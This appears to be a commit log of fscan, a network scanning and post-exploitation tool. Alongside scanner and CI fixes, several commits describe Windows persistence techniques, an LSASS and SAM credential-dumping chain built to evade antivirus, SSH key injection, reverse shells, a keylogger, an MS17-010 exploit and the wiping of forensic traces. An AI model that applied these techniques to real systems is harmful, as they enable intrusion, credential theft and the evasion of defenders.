Fixes #585
2026-06-01 01:59:08 +08:00
ZacharyZcR 40b0eee654 Remove SimpleMaxHosts limit to fix large CIDR scanning
测试构建 / 代码检查 (push) Has been cancelled
测试构建 / 单元测试和构建 (push) Has been cancelled
测试构建 / 构建验证 (push) Has been cancelled
Closes #583
2026-05-27 16:16:42 +08:00
ZacharyZcR 8d30ee334c Add native protocol service plugins
测试构建 / 代码检查 (push) Has been cancelled
测试构建 / 单元测试和构建 (push) Has been cancelled
测试构建 / 构建验证 (push) Has been cancelled
2026-05-23 15:51:50 +08:00
ZacharyZcR 73cbe803c4 Expand i18n coverage 2026-05-23 15:18:40 +08:00
ZacharyZcR 9ed6cc95b6 replace string builder sprintf with fprintf
测试构建 / 代码检查 (push) Has been cancelled
测试构建 / 单元测试和构建 (push) Has been cancelled
测试构建 / 构建验证 (push) Has been cancelled
2026-05-23 07:53:28 +08:00
ZacharyZcR a0f0379c6c silence ci warnings and staticcheck suggestions 2026-05-23 07:50:49 +08:00
ZacharyZcR 3c7823355d tighten scan session and HTTP paths 2026-05-23 07:46:53 +08:00
ZacharyZcR 1a714f6a0c reduce scanner client fingerprints 2026-05-23 07:20:24 +08:00
ZacharyZcR 0046817c2e fix mssql login client metadata 2026-05-23 07:17:55 +08:00
ZacharyZcR e0080555b4 fix: 跳过snmp社区字符串暴力破解中的冗余public探测
测试构建 / 代码检查 (push) Has been cancelled
测试构建 / 单元测试和构建 (push) Has been cancelled
测试构建 / 构建验证 (push) Has been cancelled
2026-05-19 21:00:47 +08:00
ZacharyZcR bc2a8f653a fix: 修复新服务扫描插件的健壮性问题
- ipmi: 删除未使用的 encoding/binary 导入
- rmi: TCP读取改用 io.ReadFull 避免分片导致的解析错误
- jdwp: handshake响应读取改用 io.ReadFull 避免分片误判
- nfs: v4协议回退时使用新连接避免残留数据污染
- snmp: 修正timeout计算与其他插件保持一致
2026-05-19 20:46:22 +08:00
ZacharyZcR a92df59dfe fix: NFS plugin RPC probe + UDP dispatch in auto mode
测试构建 / 代码检查 (push) Has been cancelled
测试构建 / 单元测试和构建 (push) Has been cancelled
测试构建 / 构建验证 (push) Has been cancelled
NFS: use RPC NULL call to detect NFS service before MOUNT EXPORT
UDP dispatch: query plugin registry directly in auto mode instead of
GetPlugins which excludes UDP from FilterService
2026-05-19 00:37:35 +08:00
ZacharyZcR 0a28db7371 feat: add NFS, RMI and IPMI plugins
NFS (2049/TCP): Sun RPC EXPORT call, lists shared directories
RMI (1099/TCP): Java RMI handshake, detects exposed JMX/RMI endpoints
IPMI (623/UDP): RMCP ping + channel auth capabilities probe

All pure stdlib, zero new dependencies.
2026-05-19 00:01:58 +08:00
ZacharyZcR 778ba019d5 feat: add IMAP and POP3 plugins for mail server detection
IMAP (143/993): banner grab + LOGIN brute force
POP3 (110/995): banner grab + USER/PASS brute force
Both registered as safe default plugins with auth-check capability.
2026-05-18 23:29:52 +08:00
ZacharyZcR f43e3e3d0a feat: add JDWP plugin for Java debug port detection
Detects exposed JDWP (Java Debug Wire Protocol) services on ports
5005/8000/8787/5050. Performs protocol handshake and reports as VULN
since an exposed debug port allows remote code execution.
2026-05-18 23:22:15 +08:00
ZacharyZcR a1588a321f feat: SDK agent integration + UDP plugin framework + SNMP plugin
SDK enhancements for endpoint agent embedding:
- ScanWithController for pause/resume and live stats
- OnProgress callback for periodic progress reporting
- TaskID injection into every scan result
- ScanController with goroutine-safe pause/resume/stats
- Multi-target stats aggregation (race-free)

UDP plugin infrastructure:
- PluginTypeUDP registry with dedicated dispatch path
- DialUDP on ScanSession with rate limiting and packet counting
- UDP plugins bypass TCP port scan, probe targets directly
- FilterService excludes UDP plugins from TCP port matching

SNMP plugin (first UDP plugin):
- SNMPv2c GetRequest probe for sysDescr detection
- Community string brute force (public/private/community/etc)
- Pure stdlib implementation (encoding/asn1)
- Registered as safe default plugin on port 161/UDP

Tests: 95.7% SDK coverage, race-free, 50+ new test cases
2026-05-18 23:11:39 +08:00
ZacharyZcR eb4fa38fea merge sdk architecture polish 2026-05-18 21:41:01 +08:00
ZacharyZcR c15aa3488b polish embedded scanner SDK contracts 2026-05-18 21:40:52 +08:00
ZacharyZcR 218811c38d Merge pull request #582 from shadow1ng/feature/sdk-library
测试构建 / 代码检查 (push) Has been cancelled
测试构建 / 单元测试和构建 (push) Has been cancelled
测试构建 / 构建验证 (push) Has been cancelled
Add embeddable scanner SDK
2026-05-18 18:03:12 +08:00
ZacharyZcR 5a884ca6ad fix lint issues before merge 2026-05-18 17:59:00 +08:00
ZacharyZcR 5942d3bbcb preserve sdk host language state 2026-05-18 17:43:00 +08:00
ZacharyZcR c0a9cfd8f5 use config proxy state for credential prechecks 2026-05-18 17:13:19 +08:00
ZacharyZcR c16aa04e28 isolate session network checks 2026-05-18 17:11:24 +08:00
ZacharyZcR 856eeccd78 respect per-call session dial timeouts 2026-05-18 16:35:58 +08:00
ZacharyZcR 13f7997d16 isolate scan strategy runtime state 2026-05-18 16:33:47 +08:00
ZacharyZcR adb3ac5b74 add session-aware scan logging 2026-05-18 16:19:34 +08:00
ZacharyZcR 8de7570268 allow concurrent embedded scans 2026-05-18 16:11:41 +08:00
ZacharyZcR 3dde0c6a8e move plugin safety metadata to registry 2026-05-18 15:57:18 +08:00
ZacharyZcR d4ed0867c9 polish scanner SDK API and docs 2026-05-18 15:49:57 +08:00
ZacharyZcR 6605c93dd9 improve embedded scanner runtime 2026-05-18 14:53:00 +08:00
ZacharyZcR 6bfa05cb45 add embeddable scanner SDK 2026-05-18 14:41:15 +08:00
ZacharyZcR bce0a718ea slim mssql credential check 2026-05-18 14:00:45 +08:00
ZacharyZcR 40c3f1423e slim oracle credential check 2026-05-18 13:13:40 +08:00
ZacharyZcR bfd64f78ed 瘦身: Kafka/MongoDB/Cassandra用raw TCP替代重型依赖
测试构建 / 代码检查 (push) Has been cancelled
测试构建 / 单元测试和构建 (push) Has been cancelled
测试构建 / 构建验证 (push) Has been cancelled
- kafka: 移除IBM/sarama(45MB), 自实现SASL PLAIN+ApiVersions协议(~150行)
- mongodb: 移除mongo-driver(25MB), 自实现OP_MSG+saslStart认证(~180行)
- cassandra: 移除gocql(1.2MB), 自实现CQLv4 STARTUP+SASL PLAIN(~130行)
- 同时移除间接依赖: pierrec/lz4, klauspost/compress, eapache/snappy等

二进制: 47MB → 40MB (-15%), 移除~55MB压缩依赖
全部13个测试包通过
2026-05-18 06:37:05 +08:00
ZacharyZcR 7063027acf 性能优化: 热路径零分配, 自适应池CAS无锁化, 锁外计算
- port_scan: fmt.Sprintf→JoinHostPort+fmtPort零分配地址格式化 (2.5x)
- port_scan: strings.ToLower→containsFold零分配大小写不敏感匹配 (2.5x)
- port_scan: slidingWindowSchedule修复semaphore泄漏bug
- service_probe: readFromConn预分配4KB缓冲区消除扩容
- adaptive_pool: maybeAdjust用atomic CAS代替持锁检查, 99%免锁
- adaptive_timeout: Timeout锁外计算均值/标准差, 只锁缓存更新
- 新增perf_bench_test.go基准测试验证所有优化
2026-05-18 06:11:10 +08:00
ZacharyZcR 639298b7c8 修复全部SA1006: fmt.Errorf(i18n)统一使用"%s"前缀 2026-05-18 05:17:40 +08:00
ZacharyZcR f427f04d35 修复SA1006: fmt.Errorf(i18n.Tr)改用fmt.Errorf("%s", ...) 2026-05-18 05:08:34 +08:00
ZacharyZcR 05e383d8bf 修复lint: errcheck返回值检查, SA1006动态格式化字符串
- scanner_core: 3处InitializeGlobalVScan()返回值用_显式丢弃
- flag/initialize/network: fmt.Errorf(i18n.Tr(...))改为fmt.Errorf("%s", i18n.Tr(...))
2026-05-18 05:07:02 +08:00
ZacharyZcR a560531e70 修复CI: 覆盖率门禁改用awk整数比较, lint过滤简化
- 覆盖率检查移除bc依赖,改用awk int()整数比较
- lint过滤用单条grep -vE替代管道链,更健壮
- 测试命令预计算包列表避免子shell问题
2026-05-18 04:57:39 +08:00
ZacharyZcR 77827bef66 修复凭证测试器计数器、消除panic、补齐i18n
- credential_tester: testCredentialWithRetry返回ErrorType,修复网络错误计数器永久不递增的bug
- scanner: os.Exit(1)改为return,defer Cleanup可正常执行
- probe_parser: 5处panic改为error返回,调用链透传到init()
- common库: parsers/initialize/network/session共17处硬编码中文改用i18n
- services插件: 18个文件115处硬编码中文改用i18n
- locale: 补齐service/parser/network相关~25个中英文键
2026-05-18 04:55:20 +08:00
ZacharyZcR c266912dcb 修复10个代码缺陷: panic防护, 死锁, 密钥泄漏, 错误吞没
- eval_random: randomInt参数max<=min时不再panic,返回CEL错误
- scanner: 长驻插件nil/panic时兜底发送ready通道,消除死锁
- poc_executor: Ceye API密钥改为环境变量CEYE_API/CEYE_DOMAIN
- Eval: ParseResponse加入oResp.Request nil检查
- Eval: reverseCheck中http.NewRequest错误不再忽略
- poc_executor: clusterpoc中CEL表达式求值错误记录日志
- winwmi: PowerShell执行失败完整记录错误信息
- sshkey: authorized_keys读取失败处理错误
- minidump: Scan结束后释放系统DLL句柄
- Windows插件: PE文件错误消息改用i18n
2026-05-18 03:47:42 +08:00
ZacharyZcR 2f2b30763c 修复硬编码中文,迁移废弃的 uuid 依赖
- flag.go: -local/-perf 参数改用 i18n.GetText,checkParameterConflicts 改用 i18n.Tr
- 补齐中英文 locale 中 flag_local_plugin/flag_perf_stats/param_local_multi_plugin
- satori/go.uuid 迁移为 google/uuid (satori 已废弃)
- CI 补充 lint Go 版本说明
2026-05-18 02:43:45 +08:00
ZacharyZcR 72403ebb32 Merge remote-tracking branch 'origin/dev' into dev
测试构建 / 代码检查 (push) Has been cancelled
测试构建 / 单元测试和构建 (push) Has been cancelled
测试构建 / 构建验证 (push) Has been cancelled
2026-05-16 06:57:16 +08:00
ZacharyZcR 4fa8fdc30e chore: 砍掉 downloader/shellenv,新增 sshkey 插件
- 删除 downloader(curl/certutil 可替代)
- 删除 shellenv(劫持 ls 别名动静太大,实用性差)
- 新增 sshkey:生成 ed25519 密钥对,注入 authorized_keys,
  私钥保存到当前目录,支持多用户(root 权限下自动注入 root)
2026-05-16 06:56:12 +08:00
ZacharyZcR bf210dd94d refactor: minidump 实现降级链凭据提取
不再检测到杀软就直接退出,改为三级降级:
1. 直接 MiniDumpWriteDump(无杀软时尝试,15秒超时)
2. comsvcs.dll(系统签名DLL,部分杀软不拦截)
3. reg save SAM/SECURITY/SYSTEM(离线方式,不碰 LSASS)
全部失败才退出,0.2 秒完成不会卡死系统
2026-05-16 06:51:42 +08:00
ZacharyZcR cb1079598d feat: cleaner 支持清理所有持久化痕迹,minidump 增加杀软前置检测
cleaner 新增 Windows 持久化完整清理:
- Winlogon Shell/Userinit 恢复默认值
- IFEO 映像劫持清理
- 注册表 Run/RunOnce 清理
- 计划任务、服务、启动文件夹清理
- BITS 任务、WMI 事件订阅清理
- Prefetch 记录清理

minidump 增加杀软前置检测,发现 Defender/EDR 直接退出,
避免 MiniDumpWriteDump hang 导致系统崩溃
2026-05-16 06:20:00 +08:00
ZacharyZcR ec10097e76 fix: minidump 增加杀软检测和缩短超时,防止 hang 导致系统崩溃
- 新增 isAVBlocking 检测 Defender/EDR 进程,发现活跃杀软直接跳过
- dump 超时从 120 秒缩短到 15 秒(正常 dump 几秒完成)
- 三层防护:杀软检测 → 权限检测 → 超时兜底
2026-05-16 06:13:47 +08:00
ZacharyZcR 231563e82b fix: 修复 socks5proxy/cleaner/minidump 三个插件问题
- socks5proxy: 监听地址从 127.0.0.1 改为 0.0.0.0,允许外部连接
- cleaner: 重写清理逻辑,精准匹配 fscan 产物,修复 glob 遍历大目录卡死问题,
  history 清理改为真正删除 fscan 相关行
- minidump: SeDebugPrivilege 提升失败时直接退出,不再卡 120 秒超时
2026-05-16 03:17:44 +08:00
ZacharyZcR 5af8682d22 fix: 修复长驻插件启动竞态,删除重复的 bashrc 插件
- 修复 forwardshell/reverseshell/socks5proxy 因竞态导致主进程提前退出
- 删除与 shellenv 功能重复的 bashrc 插件
2026-05-16 00:12:21 +08:00
ZacharyZcR a42f074b00 feat: 新增 4 种持久化插件
- winifeo: IFEO 映像劫持 (sethc/utilman/narrator)
- winbits: BITS 后台任务持久化,通过 GUID 操作避免同名冲突
- winlogon: Winlogon Userinit/Shell 追加
- bashrc: Linux bashrc/profile 注入
2026-05-15 23:48:30 +08:00
ZacharyZcR 1ebcd6dc79 fix: 补全 Windows 持久化插件的执行逻辑
5 个 Windows 持久化插件原先只拼接命令字符串不执行,现全部补上真实执行逻辑:
- winschtask: schtasks /create 创建计划任务
- winservice: sc create 创建系统服务
- winstartup: 复制 PE 到启动文件夹
- winregistry: reg add 写入 Run/RunOnce 注册表键
- winwmi: PowerShell 创建 WMI 事件订阅(单次调用,1.2s 完成)
2026-05-15 23:35:43 +08:00
ZacharyZcR 150e48ba85 refactor: 合并 fileinfo 和 dcinfo 到 systeminfo
- fileinfo 的敏感文件扫描合并到 systeminfo
- dcinfo 的域控信息收集合并到 systeminfo,通过 build tag 隔离平台差异
- 检测到域环境时自动触发域信息收集,WORKGROUP 环境自动跳过
- 新增 systeminfo_dc_windows.go 和 systeminfo_dc_other.go 处理跨平台编译
2026-05-15 23:16:35 +08:00
ZacharyZcR 76a4331fae refactor: 合并 avdetect 到 systeminfo,修复杀软检测误报
- 将 avdetect 的进程匹配逻辑合并到 systeminfo 插件
- 修复进程匹配使用 Contains 导致大量误报,改为精确匹配
- 修正 auto.json 中 Microsoft Security Essentials 为 Microsoft Defender
- 使用 map 索引优化进程匹配性能
- 清理废弃的 envinfo/avdetect i18n key
2026-05-15 22:52:11 +08:00
ZacharyZcR ca4e1ffad3 refactor: 增强 systeminfo 插件并合并 envinfo
- systeminfo 新增网卡信息、权限检测、补丁数量、杀软检测、
  防火墙状态、敏感环境变量扫描等功能
- 合并 envinfo 到 systeminfo,删除独立的 envinfo 插件
- 修复本地插件通过 -m 指定时仍需 -h 参数的问题
- 通过回调机制解决 common/plugins 循环依赖
2026-05-15 22:47:39 +08:00
ZacharyZcR a0fc7881f2 fix: 修复 -m 指定本地插件时误走服务扫描策略的问题
当通过 -m 参数指定本地插件(如 systeminfo)时,由于 LocalMode 未被设置,
会错误地进入服务扫描流程,导致不必要的端口扫描和插件重复执行。
现在 determineScanMode 会自动检测 -m 指定的插件类型,
全部为 local 类型时自动切换到本地扫描模式。
2026-05-15 22:40:52 +08:00
ZacharyZcR bc28df2ed1 Merge branch 'main' into dev 2026-05-15 22:16:07 +08:00
ZacharyZcR 7459da2b44 fix: 恢复 plugins/local 中实际使用的 config 变量
测试构建 / 代码检查 (push) Has been cancelled
测试构建 / 单元测试和构建 (push) Has been cancelled
测试构建 / 构建验证 (push) Has been cancelled
2026-05-15 19:54:36 +08:00
ZacharyZcR 9d191889d0 fix: 移除 composite action 中不支持的 timeout-minutes 2026-05-15 18:43:12 +08:00
ZacharyZcR 2e277a51ed fix: 修复 plugins/local 未使用变量导致编译失败 2026-05-15 18:41:36 +08:00
Ruihang ZhangandZacharyZcR 73b0b0b822 fix: 修复大网段扫描不设置上限的问题 (#581)
测试构建 / 代码检查 (push) Has been cancelled
测试构建 / 单元测试和构建 (push) Has been cancelled
测试构建 / 构建验证 (push) Has been cancelled
* fix: 修复大网段扫描不设置上限的问题

修复三处关键Bug:

1. parseIPFullRange() - 修复逻辑错误
   - 问题:当maxTargets=-1时,count >= -1 导致只返回1个IP
   - 修复:添加maxTargets > 0检查条件

2. parseIPShortRange() - 添加maxTargets参数支持
   - 问题:短格式范围(如192.168.1.1-254)无法被限制
   - 修复:添加maxTargets参数并在循环中检查

3. parseIPRangeString() - 修复调用传参遗漏
   - 问题:调用parseIPShortRange()未传递maxTargets
   - 修复:传入maxTargets参数

改进点:
- 大网段解析(如10.0.0.0/8)现在正确处理不超限的情况
- IP范围解析完整性验证
- 添加详细的bug报告和修复文档

* fix parser range limit handling

---------

Co-authored-by: ZacharyZcR <[email protected]>
2026-05-14 21:45:42 +08:00
ZacharyZcR d412786228 feat: 支持国密 TLS 网站扫描
测试构建 / 代码检查 (push) Has been cancelled
测试构建 / 单元测试和构建 (push) Has been cancelled
测试构建 / 构建验证 (push) Has been cancelled
- 添加 tjfoc/gmsm 依赖,提供 gmtls 国密 TLS 支持
- 新增国密 HTTP 客户端 ClientGM/ClientNoRedirectGM
- DetectHTTPScheme 增加国密 TLS 回退检测,返回 https-gm 协议标识
- webtitle 插件识别并路由到国密客户端
- DoRequest 标准 TLS 失败时自动回退国密客户端
2026-05-13 19:10:37 +08:00
ZacharyZcR b2e91d9fc0 fix: 修复 POC Cookie/变量提取的两个问题
- poc_adapter: xray/afrog 的 output.search 转换为 Search 字段,多步POC变量传递不再丢失
- poc_executor: Set-Cookie 提取优化不再要求捕获组名含 cookie,sessid/token等命名均生效
2026-05-13 18:37:33 +08:00
ZacharyZcR 3436d6ad02 chore: 版本号更新为 2.1.4 2026-05-13 17:32:28 +08:00
ZacharyZcR a0f323a891 docs: 更新README版本号为 2.1.3 2026-05-13 17:32:27 +08:00
ZacharyZcR 46e50a021f ci: 修复发布超时 — 增加 timeout-minutes 以及步骤级超时
测试构建 / 代码检查 (push) Has been cancelled
测试构建 / 单元测试和构建 (push) Has been cancelled
测试构建 / 构建验证 (push) Has been cancelled
2026-05-13 17:32:09 +08:00
ZacharyZcR b32ce5dec8 ci: 添加 main 分支 push 触发 CI 验证 2026-05-13 17:32:09 +08:00
ZacharyZcRandr00t 2c2ca6ace3 v2.1.3 Release (#572)
* add CVE-2026-24061 detect logic  (#562)

* add CVE-2026-24061 detect logic

* fix(telnet): 修复 errcheck 警告,统一错误处理风格

---------

Co-authored-by: ZacharyZcR <[email protected]>

* fix: 修复 Hub 广播 data race 和端口扫描潜在死锁,清理死代码

- hub.go: broadcast 路径 RLock 改 Lock,修复并发 delete/close 竞争
- port_scan.go: pool.Invoke 失败时释放 wg 和 semaphore,防止死锁
- web_scanner.go: 删除只写不读的 fingerprintCache
- webtitle.go: 移除对已删除 SetFingerprints 的调用
- keylogger.go: 删除未使用的 stopChan 和 isRunning 字段

* refactor: context 穿透扫描生命周期,修复长驻插件阻塞和 Web Stop 无效

- RunScan 接受 context.Context,创建可取消上下文并穿透到所有策略和插件
- 长驻插件(forwardshell/socks5proxy/reverseshell)不再进入 scan WaitGroup,
  通过 ctx.Done() 管理生命周期,解除 wg.Wait() 死锁
- Web Stop API 从 stopChan 改为 context.CancelFunc,取消信号真正传播到扫描链路
- ExecuteScanTasks 和 executeScanTask 支持 context 取消检查,停止分发新任务
- CLI 模式传 context.Background(),行为完全不变

* fix: 修复 Web Stop 信号等待阻塞和 SMB 响应解析越界 panic

- scanner.go: 长驻插件等待信号时同时监听 ctx.Done(),Web Stop 可正常返回
- smb_protocol.go: 响应长度检查修正为 47,远端偏移量全部做边界校验

* fix: POC 扫描接入调用方 context,修复 cachedPocPath 竞争和 ProxyStats data race

- webscan/web_scan.go: WebScan 接受 ctx 参数,替换 context.Background();
  sync.Once 改为 sync.Mutex 保护 POC 加载,消除 cachedPocPath 并发写竞争
- webtitle.go: ctx 从 Scan 穿透到 identifyFingerprintsMulti → triggerPocScan → WebScan
- webpoc.go: 传递 ctx 到 WebScan
- proxy/types.go: ProxyStats 增加 sync.Mutex
- proxy/manager.go: LastConnectTime/LastError/AverageConnectTime 读写加锁

* fix: 修复 ProxyStats 含 mutex 导致的 copylocks 告警

Stats() 方法改为手动构造副本,避免值拷贝复制 sync.Mutex

* fix: 补全 HTTP/TLS proxy stats 加锁,修复 RPC/SMB 解析越界和 POC 加载逻辑

- httpdialer.go/tlsdialer.go: LastError/LastConnectTime/AverageConnectTime 加 mutex
- findnet.go: RPC 响应结束标记位置 < 4 时跳过截断,防止负数切片 panic
- ms17010.go: SMB 会话响应最小长度改为 45,sessionSetupResponse 加长度校验
- web_scan.go: POC 加载失败时不标记 pocLoaded,允许后续重试
- Eval.go: DNSLog 配置去掉 sync.Once,允许多次扫描更新配置

* fix: Web 全局状态同步、字典文件错误提示、长驻插件连接可取消

- scan.go: Web API 构建 config/state 后同步到全局实例
- config_builder.go: 用户名/密码/URL 文件读取失败时输出错误日志
- reverseshell.go: 读命令设 1s 超时,超时后检查 ctx 实现可取消
- forwardshell.go: handleClient 接受 ctx,取消时关闭连接解除阻塞
- socks5proxy.go: handleClient 接受 ctx,取消时关闭连接解除 IO 阻塞

* refactor: 引入 ScanSession,替代全局状态穿透扫描管道 (Phase 1-3)

- 新增 common/session.go: ScanSession 结构体封装 Config/State/Params/Dialer
- RunScan/Strategy/ExecuteScanTasks/executeScanTask 全部接收 session
- Plugin 接口从 Scan(ctx, info, config, state) 改为 Scan(ctx, info, session)
- 48 个插件实现统一更新签名
- Web API 构建 ScanSession 传给 RunScan
- CLI 模式通过 Initialize() 创建 session

* refactor: 全量替换 WrapperTcpWithTimeout 为 session.DialTCP (Phase 4)

- core/port_scan.go: EnhancedPortScan/connectWithRetry/scanSinglePort 接入 session
- core/service_probe.go: SmartPortInfoScanner 持有 session,重连走 session.DialTCP
- core/icmp.go: CheckLive/tcpProbeAlive 接入 session
- 17 个 service 插件: 内部 helper 函数全部穿透 ctx+session
- 移除插件中冗余的手动 TCP 计数(DialTCP 内部已处理)
- plugins/core 下已无 WrapperTcpWithTimeout/SafeTCPDial 调用残留

* refactor: 清除 core/plugins 全局状态依赖,ProgressManager 缓存引用 (Phase 5)

- core/alive_scanner.go: GetFlagVars() → session.Params
- core/service_scanner.go: GetFlagVars() → session.Params 和 config.Target.Ports
- common/progress_manager.go: 缓存 State 和 NoColor 到字段,不再运行时读全局
- common/output_api.go: SaveResult 改用 GetGlobalConfig().Output.DisableSave
- common/network.go: WrapperTcpWithTimeout 标记 Deprecated
- core/ 和 plugins/ 下已无全局状态调用残留

* fix: 修复 dialer timeout 锁死、CVE 检测绕过 session 和误报问题

* fix: 修复 pocDNSLog data race,穿透 ctx 到全链路,消除残余 net.DialTimeout 绕过

* perf: CVE-2026-24061 检测改并发执行,消除硬 sleep 用 deadline 替代

* feat: 项目缓存系统,跨扫描合并资产,缓存 host:port 避免漏报

* perf: 三阶段性能优化,ICMP 并发提升+TCP 并行探测,端口扫描退避调整,服务探测超时减半

* fix: 修复凭据测试清理 goroutine 无限阻塞导致的 goroutine 泄漏

* fix: 凭据测试连续网络错误短路、resultChan 缓冲防阻塞、timer 泄漏修复

* perf: 大规模扫描网段预筛,按 /24 探活跳过空子网,B 段扫描从 2h+ 降至 2min

* fix: 网段预筛从抽样改全覆盖,每台主机发 1 个探测包,消除漏报

* perf: 网段预筛增加网关启发式,.1/.254 多端口优先探测,命中即跳过逐主机兜底

* fix: MSSQL 连接加 encrypt=disable 修复无 TLS 环境扫描失败,Web API 参数校验负数

* feat: Release 增加 armv5 架构支持

* chore: bump version to 2.1.3

* fix: 锁定 golangci-lint 版本为 v2.12.1 修复 CI checksum 校验失败

* fix: golangci-lint 改用 go install 安装,绕过上游安装脚本 checksum 校验问题

* feat: -silent 模式输出 NDJSON 到 stdout,支持 AI agent 管道消费

- 新增 StdoutNDJSONWriter,silent 模式下每条扫描结果实时输出一行 JSON
- LogWithProgress 层拦截人类可读日志,绕过 logger sync.Once 初始化时序问题
- 支持 fscan -h xxx -silent | jq 管道用法

* fix rdp invalid random panic (#573)

* restore ms17010 legacy detection and exploit (#574)

* fix ms17010 legacy packet decoding (#574)

* fix csv web title output (#575)

* fix web result protocol output (#577)

* feat: add -ntp flag to disable TCP supplementary probe

* fix: skip TCP supplementary probe in icmp mode

* feat: add -debug flag with file logging to fscan_debug.log

* fix: resolve golangci-lint errcheck and staticcheck warnings

* fix: skip proxy deep verification for SOCKS5 connections (#579)

SOCKS5 protocol validates connection reachability at protocol level,
deep verification was incorrectly rejecting non-banner services like
SMB(445), RPC(139) and Kerberos(88).

* fix: exclude timeout from scan failure rate calculation (#578)

Timeout is a normal scan result when firewalls drop packets, not a
scan failure. Only resource exhaustion errors count toward failure rate.

* feat: flatten NDJSON output for AI agent consumption and add SKILL.md

* perf: 端口扫描自适应超时,基于 RTT 采样动态调整连接超时

* perf: 四项扫描性能优化

- SO_LINGER=0 快速释放连接,减少 TIME_WAIT 堆积
- 服务探测超时自适应,RTT 采样约束读超时上限
- 端口扫描结果流式传递,pipeline 并行端口扫描和插件执行
- ICMP 批量预构建包和地址,减少发送循环开销

* perf: 六项性能优化

- DNS 解析缓存:sync.Map 缓存避免重复系统调用
- 凭据测试 TCP 预检:不可达目标直接跳过全部凭据
- Web 探测 HTTP Client 复用:全局共享连接池
- 端口扫描 Bloom Filter 去重:替代 map 降低内存
- 进度条 atomic 累加 + 50ms 节流渲染:消除锁竞争
- 服务探针预解码:Init 时预编译,运行时零解码开销

* refactor: replace bloom filter with map for deduplication

Bloom filter has false positive risk which can silently drop valid
scan results. Map provides exact deduplication with negligible memory
overhead at the scale of open ports (typically thousands, not millions).

* fix: credential TCP precheck bypass proxy and pipeline goroutine leak

- Skip TCP precheck when proxy is enabled, net.DialTimeout cannot
  reach targets behind SOCKS5/HTTP proxy
- Drain stream channel on ctx cancellation to prevent EnhancedPortScan
  goroutine from blocking on a full channel

* fix: stream channel 提前返回未关闭导致 goroutine 泄漏,服务探测超时下限 500ms

* fix: resolve golangci-lint errcheck and staticcheck warnings

---------

Co-authored-by: r00t <[email protected]>
2026-05-13 14:41:23 +08:00
ZacharyZcR db0b53b139 fix(ci): 扩展 UPX 压缩范围覆盖 ARM/MIPS/FreeBSD 架构 2026-04-25 18:13:52 +08:00
ZacharyZcR 4c58843033 chore: 版本号更新为 2.1.2 2026-04-25 17:43:53 +08:00
ZacharyZcR 760c8ea502 v2.1.2 核心优化与多架构发布 (#561)
* feat: v2.1.0 核心重构与功能增强

## 架构重构
- 全局变量消除,迁移至 Config/State 对象
- SMB 插件融合(smb/smb2/smbghost/smbinfo)
- 服务探测重构,实现 Nmap 风格 fallback 机制
- 输出系统重构,TXT 实时刷盘 + 双写机制
- i18n 框架升级至 go-i18n

## 性能优化
- 正则表达式预编译
- 内存优化 map[string]struct{}
- 并发指纹匹配
- SOCKS5 连接复用
- 滑动窗口调度 + 自适应线程池

## 新功能
- Web 管理界面
- 多格式 POC 适配(xray/afrog)
- 增强指纹库(3139条)
- Favicon hash 指纹识别
- 插件选择性编译(Build Tags)
- fscan-lab 靶场环境
- 默认端口扩展(62→133)

## 构建系统
- 添加 no_local tag 支持排除本地插件
- 多版本构建:fscan/fscan-nolocal/fscan-web
- CI 添加 snapshot 模式支持仅测试构建

## Bug 修复
- 修复 120+ 个问题,包括 RDP panic、批量扫描漏报、
  JSON 输出格式、Redis 检测、Context 超时等

## 测试增强
- 单元测试覆盖率 74-100%
- 并发安全测试
- 集成测试(Web/端口/服务/SSH/ICMP)

* fix(ci): 移除 PR 对 Project 自动化的触发

* fix: Elasticsearch未授权检测优先于爆破 (#554)

* fix: 修复RDP爆破高误报率问题 (#555)

- 移除 screen.go 中错误的认证结果覆盖逻辑
- 启用 NLA 协议的 ErrorCode 字段检测
- 添加 PubKeyAuth 验证确保认证真正成功
- 修复 io.go 中错误被静默忽略的问题
- 修复 socket.go/io.go 中可能导致 panic 的代码
- 修复 screen.go 中文件句柄泄漏和 log.Panic

* fix: 修复-user/-pwd凭据参数不生效的问题

问题原因:
- Parse()解析凭据后更新globalConfig
- 但BuildConfigFromFlags()创建新Config时使用默认字典
- 导致解析的UserPassPairs等凭据信息被丢弃

修复内容:
1. initialize.go: 将Parse解析的凭据结果应用到新Config
2. credential.go: 单用户密码对时创建UserPassPairs
3. rdp.go: 单凭据测试时跳过指纹识别,减少连接次数

* feat: RDP使用NLA仅验证模式,避免挤掉已登录用户

- 添加ErrNLAAuthSuccess标志用于NLA验证成功信号
- tpkt层支持nlaAuthOnly模式,验证成功后不建立完整会话
- x224层正确传播NLA验证结果
- rdpCrack改用NlaAuth进行凭据验证

* fix: 修复进度条在Windows终端满屏重复输出的问题

- 添加终端宽度检测,动态调整进度条长度
- 使用空格覆盖清除旧内容,避免残留
- 简化进度条格式,确保不超过终端宽度

* feat: 优化日志颜色方案,区分漏洞和普通信息

- 新增 LogVuln 级别(红色),用于漏洞和重要发现
- 密码爆破成功、未授权访问、POC漏洞等改用红色显示
- 普通信息(扫描统计等)改为白色
- Web指纹保持绿色

* refactor: 精简化输出,移除冗余启动信息

- 移除showParseSummary开局配置输出
- 移除LogPluginInfo/LogPluginInfoWithPort插件信息输出
- 移除alive_scanner冗余统计输出
- 移除port_scan_start扫描开始提示
- 移除handleUDPPorts SNMP死代码
- 移除相关i18n条目

* chore: 版本号更新为2.1.1

* fix: 降级依赖版本以保持Go 1.20兼容性

* feat(ldap): 添加NTLM Hash认证支持 (#433)

* chore: 清理无用的 replace 指令

* fix(ping): 修复 TTL expired 导致主机误判为存活的问题

在 ExecCommandPing 中增加错误关键词检测,当 ping 输出包含
TTL expired、Destination unreachable 等错误信息时,不再将
目标主机标记为存活。

Fixes #454

* fix(proxy): 修复透明代理导致输出全端口的问题

在代理初始化时主动探测代理行为,通过连接 RFC 5737 保留的
测试地址来检测是否存在"全回显"问题。如果探测到代理不可靠,
则在端口扫描时跳过所有端口,避免误报。

- 新增 proxyReliable 标志位标记代理可靠性
- 新增 ProbeProxyBehavior 函数探测代理行为
- 端口扫描前检查代理可靠性并输出警告

Fixes #495

* refactor: 移动debug模块到common/debug子包

* fix(web): 修复-u模式下Web插件未执行的问题

* fix: 优化输出格式和颜色显示

- 网段统计格式改为 10.253.0.0/16 网段存活: 26
- WebTitle基础信息改为白色,指纹识别单独绿色输出
- 移除重复的端口数量输出

* fix: URL解析自动补全协议头

-uf 文件中 192.168.1.1:8080 自动转为 http://192.168.1.1:8080

* fix: 修复-u/-uf模式下URLs丢失导致0目标扫描的问题

Parse阶段将URLs设置到全局状态,但Initialize随后创建新状态
